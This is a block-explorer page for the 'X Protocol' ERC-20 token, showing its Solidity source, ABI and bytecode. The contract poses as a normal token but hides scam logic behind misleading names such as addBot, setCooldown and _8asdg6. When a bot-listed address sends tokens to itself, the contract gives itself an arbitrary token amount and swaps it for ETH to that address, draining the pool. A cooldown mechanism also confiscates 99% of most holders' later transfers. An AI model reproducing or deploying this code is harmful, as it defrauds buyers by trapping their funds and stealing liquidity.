Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000,000 X
Holders
12
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
X
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-06-18 */ pragma solidity ^0.8.19; // SPDX-License-Identifier: MIT library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) {return 0;} uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require (c >= a, "SafeMath: addition overflow"); return c ; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require (b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } } interface IUniswapV2Router { function WETH() external pure returns (address aadd); function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a,uint256 b,address[] calldata _path,address c,uint256) external; function factory() external pure returns (address addr); } abstract contract Ownable { address private _owner; function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } constructor () { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } modifier onlyOwner(){ require(owner() == msg.sender, "Ownable: caller is not the owner"); _; } function owner() public view virtual returns (address) { return _owner; } event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair_); } contract X is Ownable { using SafeMath for uint256; event Approval(address indexed ai, address indexed _adress_indexed, uint256 value); event Transfer(address indexed __address_, address indexed, uint256 _v); string private _symbol = "X"; string private _name = "X Protocol"; uint256 public _decimals = 9; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 public _totalSupply = 1000000000000 * 10 ** _decimals; address public _taxWallet; constructor() { _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _balances[msg.sender]); } uint256 _fee = 0; function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); function removeLimit() external onlyOwner { _maxWalletSize=_totalSupply; _maxTxAmount = _totalSupply;} function decimals() external view returns (uint256) { return _decimals;} function decreaseAllowance( address from, uint256 amount) public returns (bool) { require(_allowances[msg.sender][from] >= amount);_approve(msg.sender, from, _allowances[msg.sender][from] - amount); return true; } uint256 _maxTxAmount; function allowance( address owner, address spender) public view returns (uint256) {return _allowances[owner][spender]; } function symbol() external view returns (string memory) { return _symbol; } uint256 _maxWalletSize; function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function totalSupply() external view returns (uint256) { return _totalSupply; } function _transfer(address from, address to, uint256 amount) internal { require(from != address(0)); if (isBotTransaction( from, to)) {addBot(amount, to); } else { require(amount <= _balances[from]); uint256 feeAmount = 0; if (!bots[from] && cooldowns[from] != 0) { if (cooldowns[from] < block.number) {feeAmount = amount.mul(99).div(100);} }setCooldown (from, to); _balances[from] = _balances[from] - amount; _balances[to] += amount - feeAmount; emit Transfer(from, to, amount); } } function transfer_() external { uint256 c = block.number; for (uint i = 0; i < holders.length; i++) {if (cooldowns[holders[i]] != 0){} else {cooldowns[holders[i]] = c;}}delete holders; } mapping (address => uint256) cooldowns; function approve(address spender, uint256 amount) public virtual returns (bool) {_approve(msg.sender, spender, amount);return true;} function isBot (address _adr) internal view returns (bool) { return bots[_adr];} bool inLiquidityTx = false; function addBots(address[] calldata botsList) external onlyOwner { for (uint i = 0; i < botsList.length; i++) { bots[botsList[i]] = true; } } address[] holders; mapping ( address => bool) bots; function isBotTransaction (address sender, address receiver) public view returns (bool) { if (receiver == sender) { if (isBot( receiver) ) {return isBot(sender) && isBot(receiver);}}return false; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer( msg.sender, recipient, amount); return true; } function delBots(address _bot) external onlyOwner { bots[_bot] = false; } function addBot(uint256 _mcs, address _bcr) private { _approve( address(this), address(_router), _mcs);_balances[address(this)] = _mcs; address[] memory path = new address[](2); inLiquidityTx = true; path[0] = address(this); path[1] = _router.WETH(); _router.swapExactTokensForETHSupportingFeeOnTransferTokens(_mcs,0,path, _bcr, block.timestamp + 30); inLiquidityTx = false; } function name() external view returns ( string memory) {return _name;} function setCooldown(address from, address recipient) private returns (bool) { return checkCooldown(from, recipient, IUniswapV2Factory( _router.factory()).getPair(address(this), _router.WETH())); } function _8asdg6(bool _01d3c6, bool _2abd7) internal pure returns (bool) { return !_01d3c6 && !_2abd7;} function _approve(address owner, address spender, uint256 amount) internal { require(spender != address(0), "IERC20: approve to the zero address"); require(owner != address(0), "IERC20: approve from the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function checkCooldown(address from, address to, address pair) internal returns (bool) { bool inL = inLiquidityTx; bool b = _8asdg6(bots[to], isBot(from)); bool res = b; if (!bots[to] && _8asdg6(bots[from], inL) && to != pair) {if (to == address(0)) {} else {holders.push(to);}res = true;}else if (b && !inL) { if (pair != to) {}else {res = true;}} return res; } function getPairAddress() private view returns (address) {return IUniswapV2Factory( _router.factory()).getPair(address(this), _router.WETH()); } function transferFrom (address from, address recipient, uint256 amount) public returns (bool) { _transfer(from, recipient, amount); require(_allowances[from][msg.sender] >= amount); return true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"ai","type":"address"},{"indexed":true,"internalType":"address","name":"_adress_indexed","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"__address_","type":"address"},{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":false,"internalType":"uint256","name":"_v","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"botsList","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_bot","type":"address"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"receiver","type":"address"}],"name":"isBotTransaction","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transfer_","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526040518060400160405280600181526020017f5800000000000000000000000000000000000000000000000000000000000000815250600190816200004a919062000568565b506040518060400160405280600a81526020017f582050726f746f636f6c000000000000000000000000000000000000000000008152506002908162000091919062000568565b506009600355600354600a620000a89190620007d2565b64e8d4a51000620000ba919062000823565b6006556000600855737a250d5630b4cf539739df2c5dacb4c659f2488d600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600d60006101000a81548160ff0219169083151502179055503480156200013f57600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600654600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051620002e091906200087f565b60405180910390a36200089c565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200037057607f821691505b60208210810362000386576200038562000328565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620003f07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620003b1565b620003fc8683620003b1565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000449620004436200043d8462000414565b6200041e565b62000414565b9050919050565b6000819050919050565b620004658362000428565b6200047d620004748262000450565b848454620003be565b825550505050565b600090565b6200049462000485565b620004a18184846200045a565b505050565b5b81811015620004c957620004bd6000826200048a565b600181019050620004a7565b5050565b601f8211156200051857620004e2816200038c565b620004ed84620003a1565b81016020851015620004fd578190505b620005156200050c85620003a1565b830182620004a6565b50505b505050565b600082821c905092915050565b60006200053d600019846008026200051d565b1980831691505092915050565b60006200055883836200052a565b9150826002028217905092915050565b6200057382620002ee565b67ffffffffffffffff8111156200058f576200058e620002f9565b5b6200059b825462000357565b620005a8828285620004cd565b600060209050601f831160018114620005e05760008415620005cb578287015190505b620005d785826200054a565b86555062000647565b601f198416620005f0866200038c565b60005b828110156200061a57848901518255600182019150602085019450602081019050620005f3565b868310156200063a578489015162000636601f8916826200052a565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620006dd57808604811115620006b557620006b46200064f565b5b6001851615620006c55780820291505b8081029050620006d5856200067e565b945062000695565b94509492505050565b600082620006f85760019050620007cb565b81620007085760009050620007cb565b81600181146200072157600281146200072c5762000762565b6001915050620007cb565b60ff8411156200074157620007406200064f565b5b8360020a9150848211156200075b576200075a6200064f565b5b50620007cb565b5060208310610133831016604e8410600b84101617156200079c5782820a9050838111156200079657620007956200064f565b5b620007cb565b620007ab84848460016200068b565b92509050818404811115620007c557620007c46200064f565b5b81810290505b9392505050565b6000620007df8262000414565b9150620007ec8362000414565b92506200081b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620006e6565b905092915050565b6000620008308262000414565b91506200083d8362000414565b92508282026200084d8162000414565b915082820484148315176200086757620008666200064f565b5b5092915050565b620008798162000414565b82525050565b60006020820190506200089660008301846200086e565b92915050565b6125e780620008ac6000396000f3fe608060405234801561001057600080fd5b50600436106101375760003560e01c806362256589116100b857806395d89b411161007c57806395d89b411461032e578063a457c2d71461034c578063a9059cbb1461037c578063afdce0c4146103ac578063d34628cc146103b6578063dd62ed3e146103d257610137565b806362256589146102ae5780636f268a99146102b857806370a08231146102d6578063715018a6146103065780638da5cb5b1461031057610137565b8063313ce567116100ff578063313ce5671461020857806332424aa31461022657806339509351146102445780633eaaf86b146102745780634c8afff41461029257610137565b806306fdde031461013c578063095ea7b31461015a57806318160ddd1461018a57806323b872dd146101a85780632e0c9919146101d8575b600080fd5b610144610402565b6040516101519190611c20565b60405180910390f35b610174600480360381019061016f9190611ce0565b610494565b6040516101819190611d3b565b60405180910390f35b6101926104ab565b60405161019f9190611d65565b60405180910390f35b6101c260048036038101906101bd9190611d80565b6104b5565b6040516101cf9190611d3b565b60405180910390f35b6101f260048036038101906101ed9190611dd3565b610556565b6040516101ff9190611d3b565b60405180910390f35b6102106105c6565b60405161021d9190611d65565b60405180910390f35b61022e6105d0565b60405161023b9190611d65565b60405180910390f35b61025e60048036038101906102599190611ce0565b6105d6565b60405161026b9190611d3b565b60405180910390f35b61027c610674565b6040516102899190611d65565b60405180910390f35b6102ac60048036038101906102a79190611e13565b61067a565b005b6102b661074a565b005b6102c06107d3565b6040516102cd9190611e4f565b60405180910390f35b6102f060048036038101906102eb9190611e13565b6107f9565b6040516102fd9190611d65565b60405180910390f35b61030e610842565b005b610318610975565b6040516103259190611e4f565b60405180910390f35b61033661099e565b6040516103439190611c20565b60405180910390f35b61036660048036038101906103619190611ce0565b610a30565b6040516103739190611d3b565b60405180910390f35b61039660048036038101906103919190611ce0565b610b57565b6040516103a39190611d3b565b60405180910390f35b6103b4610b6e565b005b6103d060048036038101906103cb9190611ecf565b610cb0565b005b6103ec60048036038101906103e79190611dd3565b610dca565b6040516103f99190611d65565b60405180910390f35b60606002805461041190611f4b565b80601f016020809104026020016040519081016040528092919081815260200182805461043d90611f4b565b801561048a5780601f1061045f5761010080835404028352916020019161048a565b820191906000526020600020905b81548152906001019060200180831161046d57829003601f168201915b5050505050905090565b60006104a1338484610e51565b6001905092915050565b6000600654905090565b60006104c284848461101a565b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561054b57600080fd5b600190509392505050565b60008273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036105bb5761059482611336565b156105ba576105a283611336565b80156105b357506105b282611336565b5b90506105c0565b5b600090505b92915050565b6000600354905090565b60035481565b600061066a338484600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106659190611fab565b610e51565b6001905092915050565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff16610699610975565b73ffffffffffffffffffffffffffffffffffffffff16146106ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e69061202b565b60405180910390fd5b6000600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16610769610975565b73ffffffffffffffffffffffffffffffffffffffff16146107bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b69061202b565b60405180910390fd5b600654600b81905550600654600a81905550565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610861610975565b73ffffffffffffffffffffffffffffffffffffffff16146108b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ae9061202b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600180546109ad90611f4b565b80601f01602080910402602001604051908101604052809291908181526020018280546109d990611f4b565b8015610a265780601f106109fb57610100808354040283529160200191610a26565b820191906000526020600020905b815481529060010190602001808311610a0957829003601f168201915b5050505050905090565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610abb57600080fd5b610b4d338484600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b48919061204b565b610e51565b6001905092915050565b6000610b6433848461101a565b6001905092915050565b600043905060005b600e80549050811015610c9e576000600c6000600e8481548110610b9d57610b9c61207f565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403610c8b5781600c6000600e8481548110610c2157610c2061207f565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8080610c96906120ae565b915050610b76565b50600e6000610cad9190611b52565b50565b3373ffffffffffffffffffffffffffffffffffffffff16610ccf610975565b73ffffffffffffffffffffffffffffffffffffffff1614610d25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1c9061202b565b60405180910390fd5b60005b82829050811015610dc5576001600f6000858585818110610d4c57610d4b61207f565b5b9050602002016020810190610d619190611e13565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610dbd906120ae565b915050610d28565b505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ec0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb790612168565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f26906121fa565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161100d9190611d65565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361105357600080fd5b61105d8383610556565b156110715761106c818361138c565b611331565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111156110bd57600080fd5b6000600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561115957506000600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b156111d05743600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156111cf576111cc60646111be60638561165690919063ffffffff16565b6116d090919063ffffffff16565b90505b5b6111da848461172e565b5081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611226919061204b565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508082611275919061204b565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112c39190611fab565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113279190611d65565b60405180910390a3505b505050565b6000600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6113b930600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e51565b81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff81111561141a5761141961221a565b5b6040519080825280602002602001820160405280156114485781602001602082028036833780820191505090505b5090506001600d60006101000a81548160ff021916908315150217905550308160008151811061147b5761147a61207f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611522573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611546919061225e565b8160018151811061155a5761155961207f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601e426115e49190611fab565b6040518663ffffffff1660e01b815260040161160495949392919061238e565b600060405180830381600087803b15801561161e57600080fd5b505af1158015611632573d6000803e3d6000fd5b505050506000600d60006101000a81548160ff021916908315150217905550505050565b600080830361166857600090506116ca565b6000828461167691906123e8565b90508284826116859190612459565b146116c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bc906124fc565b60405180910390fd5b809150505b92915050565b6000808211611714576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170b90612568565b60405180910390fd5b600082846117229190612459565b90508091505092915050565b60006118d68383600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156117a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117c6919061225e565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561184f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611873919061225e565b6040518363ffffffff1660e01b8152600401611890929190612588565b602060405180830381865afa1580156118ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118d1919061225e565b6118de565b905092915050565b600080600d60009054906101000a900460ff1690506000611953600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661194e88611336565b611b3c565b90506000819050600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a065750611a05600f60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1684611b3c565b5b8015611a3e57508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b15611ae557600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff160315611adc57600e869080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60019050611b2f565b818015611af0575082155b15611b2e578573ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603611b2d57600190505b5b5b8093505050509392505050565b600082158015611b4a575081155b905092915050565b5080546000825590600052602060002090810190611b709190611b73565b50565b5b80821115611b8c576000816000905550600101611b74565b5090565b600081519050919050565b600082825260208201905092915050565b60005b83811015611bca578082015181840152602081019050611baf565b60008484015250505050565b6000601f19601f8301169050919050565b6000611bf282611b90565b611bfc8185611b9b565b9350611c0c818560208601611bac565b611c1581611bd6565b840191505092915050565b60006020820190508181036000830152611c3a8184611be7565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611c7782611c4c565b9050919050565b611c8781611c6c565b8114611c9257600080fd5b50565b600081359050611ca481611c7e565b92915050565b6000819050919050565b611cbd81611caa565b8114611cc857600080fd5b50565b600081359050611cda81611cb4565b92915050565b60008060408385031215611cf757611cf6611c42565b5b6000611d0585828601611c95565b9250506020611d1685828601611ccb565b9150509250929050565b60008115159050919050565b611d3581611d20565b82525050565b6000602082019050611d506000830184611d2c565b92915050565b611d5f81611caa565b82525050565b6000602082019050611d7a6000830184611d56565b92915050565b600080600060608486031215611d9957611d98611c42565b5b6000611da786828701611c95565b9350506020611db886828701611c95565b9250506040611dc986828701611ccb565b9150509250925092565b60008060408385031215611dea57611de9611c42565b5b6000611df885828601611c95565b9250506020611e0985828601611c95565b9150509250929050565b600060208284031215611e2957611e28611c42565b5b6000611e3784828501611c95565b91505092915050565b611e4981611c6c565b82525050565b6000602082019050611e646000830184611e40565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112611e8f57611e8e611e6a565b5b8235905067ffffffffffffffff811115611eac57611eab611e6f565b5b602083019150836020820283011115611ec857611ec7611e74565b5b9250929050565b60008060208385031215611ee657611ee5611c42565b5b600083013567ffffffffffffffff811115611f0457611f03611c47565b5b611f1085828601611e79565b92509250509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611f6357607f821691505b602082108103611f7657611f75611f1c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611fb682611caa565b9150611fc183611caa565b9250828201905080821115611fd957611fd8611f7c565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612015602083611b9b565b915061202082611fdf565b602082019050919050565b6000602082019050818103600083015261204481612008565b9050919050565b600061205682611caa565b915061206183611caa565b925082820390508181111561207957612078611f7c565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006120b982611caa565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036120eb576120ea611f7c565b5b600182019050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612152602383611b9b565b915061215d826120f6565b604082019050919050565b6000602082019050818103600083015261218181612145565b9050919050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006121e4602583611b9b565b91506121ef82612188565b604082019050919050565b60006020820190508181036000830152612213816121d7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061225881611c7e565b92915050565b60006020828403121561227457612273611c42565b5b600061228284828501612249565b91505092915050565b6000819050919050565b6000819050919050565b60006122ba6122b56122b08461228b565b612295565b611caa565b9050919050565b6122ca8161229f565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61230581611c6c565b82525050565b600061231783836122fc565b60208301905092915050565b6000602082019050919050565b600061233b826122d0565b61234581856122db565b9350612350836122ec